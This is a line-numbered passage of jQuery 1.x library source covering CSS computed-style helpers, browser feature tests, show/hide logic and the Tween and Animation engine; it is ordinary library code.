3944 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3945 doc.write();
3946 doc.close();
3947 display = actualDisplay(nodeName, doc);
3948 iframe.detach()
3949 }
3950 elemdisplay[nodeName] = display
3951 }
3952 return display
3953 }(function() {
3954 var shrinkWrapBlocksVal;
3955 support.shrinkWrapBlocks = function() {
3956 if (shrinkWrapBlocksVal != null) {
3957 return shrinkWrapBlocksVal
3958 }
3959 shrinkWrapBlocksVal = false;
3960 var div, body, container;
3961 body = document.getElementsByTagName("body")[0];
3962 if (!body || !body.style) {
3963 return
3964 }
3965 div = document.createElement("div");
3966 container = document.createElement("div");
3967 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
3968 body.appendChild(container).appendChild(div);
3969 if (typeof div.style.zoom !== strundefined) {
3970 div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;" + "padding:1px;width:1px;zoom:1";
3971 div.appendChild(document.createElement("div")).style.width = "5px";
3972 shrinkWrapBlocksVal = div.offsetWidth !== 3
3973 }
3974 body.removeChild(container);
3975 return shrinkWrapBlocksVal
3976 }
3977 })();
3978 var rmargin = (/^margin/);
3979 var rnumnonpx = new RegExp("^(" + pnum + ")(?!px)[a-z%]+$", "i");
3980 var getStyles, curCSS, rposition = /^(top|right|bottom|left)$/;
3981 if (window.getComputedStyle) {
3982 getStyles = function(elem) {
3983 if (elem.ownerDocument.defaultView.opener) {
3984 return elem.ownerDocument.defaultView.getComputedStyle(elem, null)
3985 }
3986 return window.getComputedStyle(elem, null)
3987 };
3988 curCSS = function(elem, name, computed) {
3989 var width, minWidth, maxWidth, ret, style = elem.style;
3990 computed = computed || getStyles(elem);
3991 ret = computed ? computed.getPropertyValue(name) || computed[name] : undefined;
3992 if (computed) {
3993 if (ret === "" && !jQuery.contains(elem.ownerDocument, elem)) {
3994 ret = jQuery.style(elem, name)
3995 }
3996 if (rnumnonpx.test(ret) && rmargin.test(name)) {
3997 width = style.width;
3998 minWidth = style.minWidth;
3999 maxWidth = style.maxWidth;
4000 style.minWidth = style.maxWidth = style.width = ret;
4001 ret = computed.width;
4002 style.width = width;
4003 style.minWidth = minWidth;
4004 style.maxWidth = maxWidth
4005 }
4006 }
4007 return ret === undefined ? ret : ret + ""
4008 }
4009 } else if (document.documentElement.currentStyle) {
4010 getStyles = function(elem) {
4011 return elem.currentStyle
4012 };
4013 curCSS = function(elem, name, computed) {
4014 var left, rs, rsLeft, ret, style = elem.style;
4015 computed = computed || getStyles(elem);
4016 ret = computed ? computed[name] : undefined;
4017 if (ret == null && style && style[name]) {
4018 ret = style[name]
4019 }
4020 if (rnumnonpx.test(ret) && !rposition.test(name)) {
4021 left = style.left;
4022 rs = elem.runtimeStyle;
4023 rsLeft = rs && rs.left;
4024 if (rsLeft) {
4025 rs.left = elem.currentStyle.left
4026 }
4027 style.left = name === "fontSize" ? "1em" : ret;
4028 ret = style.pixelLeft + "px";
4029 style.left = left;
4030 if (rsLeft) {
4031 rs.left = rsLeft
4032 }
4033 }
4034 return ret === undefined ? ret : ret + "" || "auto"
4035 }
4036 }
4037
4038 function addGetHookIf(conditionFn, hookFn) {
4039 return {
4040 get: function() {
4041 var condition = conditionFn();
4042 if (condition == null) {
4043 return
4044 }
4045 if (condition) {
4046 delete this.get;
4047 return
4048 }
4049 return (this.get = hookFn).apply(this, arguments)
4050 }
4051 }
4052 }(function() {
4053 var div, style, a, pixelPositionVal, boxSizingReliableVal, reliableHiddenOffsetsVal, reliableMarginRightVal;
4054 div = document.createElement("div");
4055 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4056 a = div.getElementsByTagName("a")[0];
4057 style = a && a.style;
4058 if (!style) {
4059 return
4060 }
4061 style.cssText = "float:left;opacity:.5";
4062 support.opacity = style.opacity === "0.5";
4063 support.cssFloat = !!style.cssFloat;
4064 div.style.backgroundClip = "content-box";
4065 div.cloneNode(true).style.backgroundClip = "";
4066 support.clearCloneStyle = div.style.backgroundClip === "content-box";
4067 support.boxSizing = style.boxSizing === "" || style.MozBoxSizing === "" || style.WebkitBoxSizing === "";
4068 jQuery.extend(support, {
4069 reliableHiddenOffsets: function() {
4070 if (reliableHiddenOffsetsVal == null) {
4071 computeStyleTests()
4072 }
4073 return reliableHiddenOffsetsVal
4074 },
4075 boxSizingReliable: function() {
4076 if (boxSizingReliableVal == null) {
4077 computeStyleTests()
4078 }
4079 return boxSizingReliableVal
4080 },
4081 pixelPosition: function() {
4082 if (pixelPositionVal == null) {
4083 computeStyleTests()
4084 }
4085 return pixelPositionVal
4086 },
4087 reliableMarginRight: function() {
4088 if (reliableMarginRightVal == null) {
4089 computeStyleTests()
4090 }
4091 return reliableMarginRightVal
4092 }
4093 });
4094
4095 function computeStyleTests() {
4096 var div, body, container, contents;
4097 body = document.getElementsByTagName("body")[0];
4098 if (!body || !body.style) {
4099 return
4100 }
4101 div = document.createElement("div");
4102 container = document.createElement("div");
4103 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
4104 body.appendChild(container).appendChild(div);
4105 div.style.cssText = "-webkit-box-sizing:border-box;-moz-box-sizing:border-box;" + "box-sizing:border-box;display:block;margin-top:1%;top:1%;" + "border:1px;padding:1px;width:4px;position:absolute";
4106 pixelPositionVal = boxSizingReliableVal = false;
4107 reliableMarginRightVal = true;
4108 if (window.getComputedStyle) {
4109 pixelPositionVal = (window.getComputedStyle(div, null) || {}).top !== "1%";
4110 boxSizingReliableVal = (window.getComputedStyle(div, null) || {
4111 width: "4px"
4112 }).width === "4px";
4113 contents = div.appendChild(document.createElement("div"));
4114 contents.style.cssText = div.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;" + "box-sizing:content-box;display:block;margin:0;border:0;padding:0";
4115 contents.style.marginRight = contents.style.width = "0";
4116 div.style.width = "1px";
4117 reliableMarginRightVal = !parseFloat((window.getComputedStyle(contents, null) || {}).marginRight);
4118 div.removeChild(contents)
4119 }
4120 div.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
4121 contents = div.getElementsByTagName("td");
4122 contents[0].style.cssText = "margin:0;border:0;padding:0;display:none";
4123 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0;
4124 if (reliableHiddenOffsetsVal) {
4125 contents[0].style.display = "";
4126 contents[1].style.display = "none";
4127 reliableHiddenOffsetsVal = contents[0].offsetHeight === 0
4128 }
4129 body.removeChild(container)
4130 }
4131 })();
4132 jQuery.swap = function(elem, options, callback, args) {
4133 var ret, name, old = {};
4134 for (name in options) {
4135 old[name] = elem.style[name];
4136 elem.style[name] = options[name]
4137 }
4138 ret = callback.apply(elem, args || []);
4139 for (name in options) {
4140 elem.style[name] = old[name]
4141 }
4142 return ret
4143 };
4144 var ralpha = /alpha\([^)]*\)/i,
4145 ropacity = /opacity\s*=\s*([^)]*)/,
4146 rdisplayswap = /^(none|table(?!-c[ea]).+)/,
4147 rnumsplit = new RegExp("^(" + pnum + ")(.*)$", "i"),
4148 rrelNum = new RegExp("^([+-])=(" + pnum + ")", "i"),
4149 cssShow = {
4150 position: "absolute",
4151 visibility: "hidden",
4152 display: "block"
4153 },
4154 cssNormalTransform = {
4155 letterSpacing: "0",
4156 fontWeight: "400"
4157 },
4158 cssPrefixes = ["Webkit", "O", "Moz", "ms"];
4159
4160 function vendorPropName(style, name) {
4161 if (name in style) {
4162 return name
4163 }
4164 var capName = name.charAt(0).toUpperCase() + name.slice(1),
4165 origName = name,
4166 i = cssPrefixes.length;
4167 while (i--) {
4168 name = cssPrefixes[i] + capName;
4169 if (name in style) {
4170 return name
4171 }
4172 }
4173 return origName
4174 }
4175
4176 function showHide(elements, show) {
4177 var display, elem, hidden, values = [],
4178 index = 0,
4179 length = elements.length;
4180 for (; index < length; index++) {
4181 elem = elements[index];
4182 if (!elem.style) {
4183 continue
4184 }
4185 values[index] = jQuery._data(elem, "olddisplay");
4186 display = elem.style.display;
4187 if (show) {
4188 if (!values[index] && display === "none") {
4189 elem.style.display = ""
4190 }
4191 if (elem.style.display === "" && isHidden(elem)) {
4192 values[index] = jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName))
4193 }
4194 } else {
4195 hidden = isHidden(elem);
4196 if (display && display !== "none" || !hidden) {
4197 jQuery._data(elem, "olddisplay", hidden ? display : jQuery.css(elem, "display"))
4198 }
4199 }
4200 }
4201 for (index = 0; index < length; index++) {
4202 elem = elements[index];
4203 if (!elem.style) {
4204 continue
4205 }
4206 if (!show || elem.style.display === "none" || elem.style.display === "") {
4207 elem.style.display = show ? values[index] || "" : "none"
4208 }
4209 }
4210 return elements
4211 }
4212
4213 function setPositiveNumber(elem, value, subtract) {
4214 var matches = rnumsplit.exec(value);
4215 return matches ? Math.max(0, matches[1] - (subtract || 0)) + (matches[2] || "px") : value
4216 }
4217
4218 function augmentWidthOrHeight(elem, name, extra, isBorderBox, styles) {
4219 var i = extra === (isBorderBox ? "border" : "content") ? 4 : name === "width" ? 1 : 0,
4220 val = 0;
4221 for (; i < 4; i += 2) {
4222 if (extra === "margin") {
4223 val += jQuery.css(elem, extra + cssExpand[i], true, styles)
4224 }
4225 if (isBorderBox) {
4226 if (extra === "content") {
4227 val -= jQuery.css(elem, "padding" + cssExpand[i], true, styles)
4228 }
4229 if (extra !== "margin") {
4230 val -= jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4231 }
4232 } else {
4233 val += jQuery.css(elem, "padding" + cssExpand[i], true, styles);
4234 if (extra !== "padding") {
4235 val += jQuery.css(elem, "border" + cssExpand[i] + "Width", true, styles)
4236 }
4237 }
4238 }
4239 return val
4240 }
4241
4242 function getWidthOrHeight(elem, name, extra) {
4243 var valueIsBorderBox = true,
4244 val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
4245 styles = getStyles(elem),
4246 isBorderBox = support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box";
4247 if (val <= 0 || val == null) {
4248 val = curCSS(elem, name, styles);
4249 if (val < 0 || val == null) {
4250 val = elem.style[name]
4251 }
4252 if (rnumnonpx.test(val)) {
4253 return val
4254 }
4255 valueIsBorderBox = isBorderBox && (support.boxSizingReliable() || val === elem.style[name]);
4256 val = parseFloat(val) || 0
4257 }
4258 return (val + augmentWidthOrHeight(elem, name, extra || (isBorderBox ? "border" : "content"), valueIsBorderBox, styles)) + "px"
4259 }
4260 jQuery.extend({
4261 cssHooks: {
4262 opacity: {
4263 get: function(elem, computed) {
4264 if (computed) {
4265 var ret = curCSS(elem, "opacity");
4266 return ret === "" ? "1" : ret
4267 }
4268 }
4269 }
4270 },
4271 cssNumber: {
4272 "columnCount": true,
4273 "fillOpacity": true,
4274 "flexGrow": true,
4275 "flexShrink": true,
4276 "fontWeight": true,
4277 "lineHeight": true,
4278 "opacity": true,
4279 "order": true,
4280 "orphans": true,
4281 "widows": true,
4282 "zIndex": true,
4283 "zoom": true
4284 },
4285 cssProps: {
4286 "float": support.cssFloat ? "cssFloat" : "styleFloat"
4287 },
4288 style: function(elem, name, value, extra) {
4289 if (!elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style) {
4290 return
4291 }
4292 var ret, type, hooks, origName = jQuery.camelCase(name),
4293 style = elem.style;
4294 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(style, origName));
4295 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4296 if (value !== undefined) {
4297 type = typeof value;
4298 if (type === "string" && (ret = rrelNum.exec(value))) {
4299 value = (ret[1] + 1) * ret[2] + parseFloat(jQuery.css(elem, name));
4300 type = "number"
4301 }
4302 if (value == null || value !== value) {
4303 return
4304 }
4305 if (type === "number" && !jQuery.cssNumber[origName]) {
4306 value += "px"
4307 }
4308 if (!support.clearCloneStyle && value === "" && name.indexOf("background") === 0) {
4309 style[name] = "inherit"
4310 }
4311 if (!hooks || !("set" in hooks) || (value = hooks.set(elem, value, extra)) !== undefined) {
4312 try {
4313 style[name] = value
4314 } catch (e) {}
4315 }
4316 } else {
4317 if (hooks && "get" in hooks && (ret = hooks.get(elem, false, extra)) !== undefined) {
4318 return ret
4319 }
4320 return style[name]
4321 }
4322 },
4323 css: function(elem, name, extra, styles) {
4324 var num, val, hooks, origName = jQuery.camelCase(name);
4325 name = jQuery.cssProps[origName] || (jQuery.cssProps[origName] = vendorPropName(elem.style, origName));
4326 hooks = jQuery.cssHooks[name] || jQuery.cssHooks[origName];
4327 if (hooks && "get" in hooks) {
4328 val = hooks.get(elem, true, extra)
4329 }
4330 if (val === undefined) {
4331 val = curCSS(elem, name, styles)
4332 }
4333 if (val === "normal" && name in cssNormalTransform) {
4334 val = cssNormalTransform[name]
4335 }
4336 if (extra === "" || extra) {
4337 num = parseFloat(val);
4338 return extra === true || jQuery.isNumeric(num) ? num || 0 : val
4339 }
4340 return val
4341 }
4342 });
4343 jQuery.each(["height", "width"], function(i, name) {
4344 jQuery.cssHooks[name] = {
4345 get: function(elem, computed, extra) {
4346 if (computed) {
4347 return rdisplayswap.test(jQuery.css(elem, "display")) && elem.offsetWidth === 0 ? jQuery.swap(elem, cssShow, function() {
4348 return getWidthOrHeight(elem, name, extra)
4349 }) : getWidthOrHeight(elem, name, extra)
4350 }
4351 },
4352 set: function(elem, value, extra) {
4353 var styles = extra && getStyles(elem);
4354 return setPositiveNumber(elem, value, extra ? augmentWidthOrHeight(elem, name, extra, support.boxSizing && jQuery.css(elem, "boxSizing", false, styles) === "border-box", styles) : 0)
4355 }
4356 }
4357 });
4358 if (!support.opacity) {
4359 jQuery.cssHooks.opacity = {
4360 get: function(elem, computed) {
4361 return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : computed ? "1" : ""
4362 },
4363 set: function(elem, value) {
4364 var style = elem.style,
4365 currentStyle = elem.currentStyle,
4366 opacity = jQuery.isNumeric(value) ? "alpha(opacity=" + value * 100 + ")" : "",
4367 filter = currentStyle && currentStyle.filter || style.filter || "";
4368 style.zoom = 1;
4369 if ((value >= 1 || value === "") && jQuery.trim(filter.replace(ralpha, "")) === "" && style.removeAttribute) {
4370 style.removeAttribute("filter");
4371 if (value === "" || currentStyle && !currentStyle.filter) {
4372 return
4373 }
4374 }
4375 style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : filter + " " + opacity
4376 }
4377 }
4378 }
4379 jQuery.cssHooks.marginRight = addGetHookIf(support.reliableMarginRight, function(elem, computed) {
4380 if (computed) {
4381 return jQuery.swap(elem, {
4382 "display": "inline-block"
4383 }, curCSS, [elem, "marginRight"])
4384 }
4385 });
4386 jQuery.each({
4387 margin: "",
4388 padding: "",
4389 border: "Width"
4390 }, function(prefix, suffix) {
4391 jQuery.cssHooks[prefix + suffix] = {
4392 expand: function(value) {
4393 var i = 0,
4394 expanded = {},
4395 parts = typeof value === "string" ? value.split(" ") : [value];
4396 for (; i < 4; i++) {
4397 expanded[prefix + cssExpand[i] + suffix] = parts[i] || parts[i - 2] || parts[0]
4398 }
4399 return expanded
4400 }
4401 };
4402 if (!rmargin.test(prefix)) {
4403 jQuery.cssHooks[prefix + suffix].set = setPositiveNumber
4404 }
4405 });
4406 jQuery.fn.extend({
4407 css: function(name, value) {
4408 return access(this, function(elem, name, value) {
4409 var styles, len, map = {},
4410 i = 0;
4411 if (jQuery.isArray(name)) {
4412 styles = getStyles(elem);
4413 len = name.length;
4414 for (; i < len; i++) {
4415 map[name[i]] = jQuery.css(elem, name[i], false, styles)
4416 }
4417 return map
4418 }
4419 return value !== undefined ? jQuery.style(elem, name, value) : jQuery.css(elem, name)
4420 }, name, value, arguments.length > 1)
4421 },
4422 show: function() {
4423 return showHide(this, true)
4424 },
4425 hide: function() {
4426 return showHide(this)
4427 },
4428 toggle: function(state) {
4429 if (typeof state === "boolean") {
4430 return state ? this.show() : this.hide()
4431 }
4432 return this.each(function() {
4433 if (isHidden(this)) {
4434 jQuery(this).show()
4435 } else {
4436 jQuery(this).hide()
4437 }
4438 })
4439 }
4440 });
4441
4442 function Tween(elem, options, prop, end, easing) {
4443 return new Tween.prototype.init(elem, options, prop, end, easing)
4444 }
4445 jQuery.Tween = Tween;
4446 Tween.prototype = {
4447 constructor: Tween,
4448 init: function(elem, options, prop, end, easing, unit) {
4449 this.elem = elem;
4450 this.prop = prop;
4451 this.easing = easing || "swing";
4452 this.options = options;
4453 this.start = this.now = this.cur();
4454 this.end = end;
4455 this.unit = unit || (jQuery.cssNumber[prop] ? "" : "px")
4456 },
4457 cur: function() {
4458 var hooks = Tween.propHooks[this.prop];
4459 return hooks && hooks.get ? hooks.get(this) : Tween.propHooks._default.get(this)
4460 },
4461 run: function(percent) {
4462 var eased, hooks = Tween.propHooks[this.prop];
4463 if (this.options.duration) {
4464 this.pos = eased = jQuery.easing[this.easing](percent, this.options.duration * percent, 0, 1, this.options.duration)
4465 } else {
4466 this.pos = eased = percent
4467 }
4468 this.now = (this.end - this.start) * eased + this.start;
4469 if (this.options.step) {
4470 this.options.step.call(this.elem, this.now, this)
4471 }
4472 if (hooks && hooks.set) {
4473 hooks.set(this)
4474 } else {
4475 Tween.propHooks._default.set(this)
4476 }
4477 return this
4478 }
4479 };
4480 Tween.prototype.init.prototype = Tween.prototype;
4481 Tween.propHooks = {
4482 _default: {
4483 get: function(tween) {
4484 var result;
4485 if (tween.elem[tween.prop] != null && (!tween.elem.style || tween.elem.style[tween.prop] == null)) {
4486 return tween.elem[tween.prop]
4487 }
4488 result = jQuery.css(tween.elem, tween.prop, "");
4489 return !result || result === "auto" ? 0 : result
4490 },
4491 set: function(tween) {
4492 if (jQuery.fx.step[tween.prop]) {
4493 jQuery.fx.step[tween.prop](tween)
4494 } else if (tween.elem.style && (tween.elem.style[jQuery.cssProps[tween.prop]] != null || jQuery.cssHooks[tween.prop])) {
4495 jQuery.style(tween.elem, tween.prop, tween.now + tween.unit)
4496 } else {
4497 tween.elem[tween.prop] = tween.now
4498 }
4499 }
4500 }
4501 };
4502 Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
4503 set: function(tween) {
4504 if (tween.elem.nodeType && tween.elem.parentNode) {
4505 tween.elem[tween.prop] = tween.now
4506 }
4507 }
4508 };
4509 jQuery.easing = {
4510 linear: function(p) {
4511 return p
4512 },
4513 swing: function(p) {
4514 return 0.5 - Math.cos(p * Math.PI) / 2
4515 }
4516 };
4517 jQuery.fx = Tween.prototype.init;
4518 jQuery.fx.step = {};
4519 var fxNow, timerId, rfxtypes = /^(?:toggle|show|hide)$/,
4520 rfxnum = new RegExp("^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i"),
4521 rrun = /queueHooks$/,
4522 animationPrefilters = [defaultPrefilter],
4523 tweeners = {
4524 "*": [function(prop, value) {
4525 var tween = this.createTween(prop, value),
4526 target = tween.cur(),
4527 parts = rfxnum.exec(value),
4528 unit = parts && parts[3] || (jQuery.cssNumber[prop] ? "" : "px"),
4529 start = (jQuery.cssNumber[prop] || unit !== "px" && +target) && rfxnum.exec(jQuery.css(tween.elem, prop)),
4530 scale = 1,
4531 maxIterations = 20;
4532 if (start && start[3] !== unit) {
4533 unit = unit || start[3];
4534 parts = parts || [];
4535 start = +target || 1;
4536 do {
4537 scale = scale || ".5";
4538 start = start / scale;
4539 jQuery.style(tween.elem, prop, start + unit)
4540 } while (scale !== (scale = tween.cur() / target) && scale !== 1 && --maxIterations)
4541 }
4542 if (parts) {
4543 start = tween.start = +start || +target || 0;
4544 tween.unit = unit;
4545 tween.end = parts[1] ? start + (parts[1] + 1) * parts[2] : +parts[2]
4546 }
4547 return tween
4548 }]
4549 };
4550
4551 function createFxNow() {
4552 setTimeout(function() {
4553 fxNow = undefined
4554 });
4555 return (fxNow = jQuery.now())
4556 }
4557
4558 function genFx(type, includeWidth) {
4559 var which, attrs = {
4560 height: type
4561 },
4562 i = 0;
4563 includeWidth = includeWidth ? 1 : 0;
4564 for (; i < 4; i += 2 - includeWidth) {
4565 which = cssExpand[i];
4566 attrs["margin" + which] = attrs["padding" + which] = type
4567 }
4568 if (includeWidth) {
4569 attrs.opacity = attrs.width = type
4570 }
4571 return attrs
4572 }
4573
4574 function createTween(value, prop, animation) {
4575 var tween, collection = (tweeners[prop] || []).concat(tweeners["*"]),
4576 index = 0,
4577 length = collection.length;
4578 for (; index < length; index++) {
4579 if ((tween = collection[index].call(animation, prop, value))) {
4580 return tween
4581 }
4582 }
4583 }
4584
4585 function defaultPrefilter(elem, props, opts) {
4586 var prop, value, toggle, tween, hooks, oldfire, display, checkDisplay, anim = this,
4587 orig = {},
4588 style = elem.style,
4589 hidden = elem.nodeType && isHidden(elem),
4590 dataShow = jQuery._data(elem, "fxshow");
4591 if (!opts.queue) {
4592 hooks = jQuery._queueHooks(elem, "fx");
4593 if (hooks.unqueued == null) {
4594 hooks.unqueued = 0;
4595 oldfire = hooks.empty.fire;
4596 hooks.empty.fire = function() {
4597 if (!hooks.unqueued) {
4598 oldfire()
4599 }
4600 }
4601 }
4602 hooks.unqueued++;
4603 anim.always(function() {
4604 anim.always(function() {
4605 hooks.unqueued--;
4606 if (!jQuery.queue(elem, "fx").length) {
4607 hooks.empty.fire()
4608 }
4609 })
4610 })
4611 }
4612 if (elem.nodeType === 1 && ("height" in props || "width" in props)) {
4613 opts.overflow = [style.overflow, style.overflowX, style.overflowY];
4614 display = jQuery.css(elem, "display");
4615 checkDisplay = display === "none" ? jQuery._data(elem, "olddisplay") || defaultDisplay(elem.nodeName) : display;
4616 if (checkDisplay === "inline" && jQuery.css(elem, "float") === "none") {
4617 if (!support.inlineBlockNeedsLayout || defaultDisplay(elem.nodeName) === "inline") {
4618 style.display = "inline-block"
4619 } else {
4620 style.zoom = 1
4621 }
4622 }
4623 }
4624 if (opts.overflow) {
4625 style.overflow = "hidden";
4626 if (!support.shrinkWrapBlocks()) {
4627 anim.always(function() {
4628 style.overflow = opts.overflow[0];
4629 style.overflowX = opts.overflow[1];
4630 style.overflowY = opts.overflow[2]
4631 })
4632 }
4633 }
4634 for (prop in props) {
4635 value = props[prop];
4636 if (rfxtypes.exec(value)) {
4637 delete props[prop];
4638 toggle = toggle || value === "toggle";
4639 if (value === (hidden ? "hide" : "show")) {
4640 if (value === "show" && dataShow && dataShow[prop] !== undefined) {
4641 hidden = true
4642 } else {
4643 continue
4644 }
4645 }
4646 orig[prop] = dataShow && dataShow[prop] || jQuery.style(elem, prop)
4647 } else {
4648 display = undefined
4649 }
4650 }
4651 if (!jQuery.isEmptyObject(orig)) {
4652 if (dataShow) {
4653 if ("hidden" in dataShow) {
4654 hidden = dataShow.hidden
4655 }
4656 } else {
4657 dataShow = jQuery._data(elem, "fxshow", {})
4658 }
4659 if (toggle) {
4660 dataShow.hidden = !hidden
4661 }
4662 if (hidden) {
4663 jQuery(elem).show()
4664 } else {
4665 anim.done(function() {
4666 jQuery(elem).hide()
4667 })
4668 }
4669 anim.done(function() {
4670 var prop;
4671 jQuery._removeData(elem, "fxshow");
4672 for (prop in orig) {
4673 jQuery.style(elem, prop, orig[prop])
4674 }
4675 });
4676 for (prop in orig) {
4677 tween = createTween(hidden ? dataShow[prop] : 0, prop, anim);
4678 if (!(prop in dataShow)) {
4679 dataShow[prop] = tween.start;
4680 if (hidden) {
4681 tween.end = tween.start;
4682 tween.start = prop === "width" || prop === "height" ? 1 : 0
4683 }
4684 }
4685 }
4686 } else if ((display === "none" ? defaultDisplay(elem.nodeName) : display) === "inline") {
4687 style.display = display
4688 }
4689 }
4690
4691 function propFilter(props, specialEasing) {
4692 var index, name, easing, value, hooks;
4693 for (index in props) {
4694 name = jQuery.camelCase(index);
4695 easing = specialEasing[name];
4696 value = props[index];
4697 if (jQuery.isArray(value)) {
4698 easing = value[1];
4699 value = props[index] = value[0]
4700 }
4701 if (index !== name) {
4702 props[name] = value;
4703 delete props[index]
4704 }
4705 hooks = jQuery.cssHooks[name];
4706 if (hooks && "expand" in hooks) {
4707 value = hooks.expand(value);
4708 delete props[name];
4709 for (index in value) {
4710 if (!(index in props)) {
4711 props[index] = value[index];
4712 specialEasing[index] = easing
4713 }
4714 }
4715 } else {
4716 specialEasing[name] = easing
4717 }
4718 }
4719 }
4720
4721 function Animation(elem, properties, options) {
4722 var result, stopped, index = 0,
4723 length = animationPrefilters.length,
4724 deferred = jQuery.Deferred().always(function() {
4725 delete tick.elem
4726 }),
4727 tick = function() {
4728 if (stopped) {
4729 return false
4730 }
4731 var currentTime = fxNow || createFxNow(),
4732 remaining = Math.max(0, animation.startTime + animation.duration - currentTime),
4733 temp = remaining / animation.duration || 0,
4734 percent = 1 - temp,
4735 index = 0,
4736 length = animation.tweens.length;
4737 for (; index < length; index++) {
4738 animation.tweens[index].run(percent)
4739 }
4740 deferred.notifyWith(elem, [animation, percent, remaining]);
4741 if (percent < 1 && length) {
4742 return remaining
4743 } else {
4744 deferred.resolveWith(elem, [animation]);
4745 return false
4746 }
4747 },
4748 animation = deferred.promise({
4749 elem: elem,
4750 props: jQuery.extend({}, properties),
4751 opts: jQuery.extend(true, {
4752 specialEasing: {}
4753 }, options),
4754 originalProperties: properties,
4755 originalOptions: options,
4756 startTime: fxNow || createFxNow(),
4757 duration: options.duration,
4758 tweens: [],
4759 createTween: function(prop, end) {
4760 var tween = jQuery.Tween(elem, animation.opts, prop, end, animation.opts.specialEasing[prop] || animation.opts.easing);
4761 animation.tweens.push(tween);
4762 return tween
4763 },
4764 stop: function(gotoEnd) {
4765 var index = 0,
4766 length = gotoEnd ? animation.tweens.length : 0;
4767 if (stopped) {
4768 return this
4769 }
4770 stopped = true;
4771 for (; index < length; index++) {
4772 animation.tweens[index].run(1)
4773 }
4774 if (gotoEnd) {
4775 deferred.resolveWith(elem, [animation, gotoEnd])
4776 } else {
4777 deferred.rejectWith(elem, [animation, gotoEnd])
4778 }
4779 return this
4780 }
4781 }),
4782 props = animation.props;
4783 propFilter(props, animation.opts.specialEasing);
4784 for (; index < length; index++) {
4785 result = animationPrefilters[index].call(animation, elem, props, animation.opts);
4786 if (result) {
4787 return result
4788 }
4789 }
4790 jQuery.map(props, createTween, animation);
4791 if (jQuery.isFunction(animation.opts.start)) {
4792 animation.opts.start.call(elem, animation)
4793 }
4794 jQuery.fx.timer(jQuery.extend(tick, {
4795 elem: elem,
4796 anim: animation,
4797 queue: animation.opts.queue
4798 }));
4799 return animation.progress(animation.opts.progress).done(animation.opts.done, animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)
4800 }
4801 jQuery.Animation = jQuery.extend(Animation, {
4802 tweener: function(props, callback) {
4803 if (jQuery.isFunction(props)) {
4804 callback = props;
4805 props = ["*"]
4806 } else {
4807 props = props.split(" ")
4808 }
4809 var prop, index = 0,
4810 length = props.length;
4811 for (; index < length; index++) {
4812 prop = props[index];
4813 tweeners[prop] = tweeners[prop] || [];
4814 tweeners[prop].unshift(callback)
4815 }
4816 },
4817 prefilter: function(callback, prepend) {
4818 if (prepend) {
4819 animationPrefilters.unshift(callback)
4820 } else {
4821 animationPrefilters.push(callback)
4822 }
4823 }
4824 });
4825 jQuery.speed = function(speed, easing, fn) {
4826 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4827 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4828 duration: speed,
4829 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4830 };
4831 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4832 if (opt.queue == null || opt.queue === true) {
4833 opt.queue = "fx"
4834 }
4835 opt.old = opt.complete;
4836 opt.complete = function() {
4837 if (jQuery.isFunction(opt.old)) {
4838 opt.old.call(this)
4839 }
4840 if (opt.queue) {
4841 jQuery.dequeue(this, opt.queue)
4842 }
4843 };
4844 return opt
4845 };
4846 jQuery.fn.extend({
4847 fadeTo: function(speed, to, easing, callback) {
4848 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4849 opacity: to
4850 }, speed, easing, callback)
4851 },
4852 animate: function(prop, speed, easing, callback) {
4853 var empty = jQuery.isEmptyObject(prop),
4854 optall = jQuery.speed(speed, easing, callback),
4855 doAnimation = function() {
4856 var anim = Animation(this, jQuery.extend({}, prop), optall);
4857 if (empty || jQuery._data(this, "finish")) {
4858 anim.stop(true)
4859 }
4860 };
4861 doAnimation.finish = doAnimation;
4862 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4863 },
4864 stop: function(type, clearQueue, gotoEnd) {
4865 var stopQueue = function(hooks) {
4866 var stop = hooks.stop;
4867 delete hooks.stop;
4868 stop(gotoEnd)
4869 };
4870 if (typeof type !== "string") {
4871 gotoEnd = clearQueue;
4872 clearQueue = type;
4873 type = undefined
4874 }
4875 if (clearQueue && type !== false) {
4876 this.queue(type || "fx", [])
4877 }
4878 return this.each(function() {
4879 var dequeue = true,
4880 index = type != null && type + "queueHooks",
4881 timers = jQuery.timers,
4882 data = jQuery._data(this);
4883 if (index) {
4884 if (data[index] && data[index].stop) {
4885 stopQueue(data[index])
4886 }
4887 } else {
4888 for (index in data) {
4889 if (data[index] && data[index].stop && rrun.test(index)) {
4890 stopQueue(data[index])
4891 }
4892 }
4893 }
4894 for (index = timers.length; index--;) {
4895 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4896 timers[index].anim.stop(gotoEnd);
4897 dequeue = false;
4898 timers.splice(index, 1)
4899 }
4900 }
4901 if (dequeue || !gotoEnd) {
4902 jQuery.dequeue(this, type)
4903 }
4904 })
4905 },
4906 finish: function(type) {
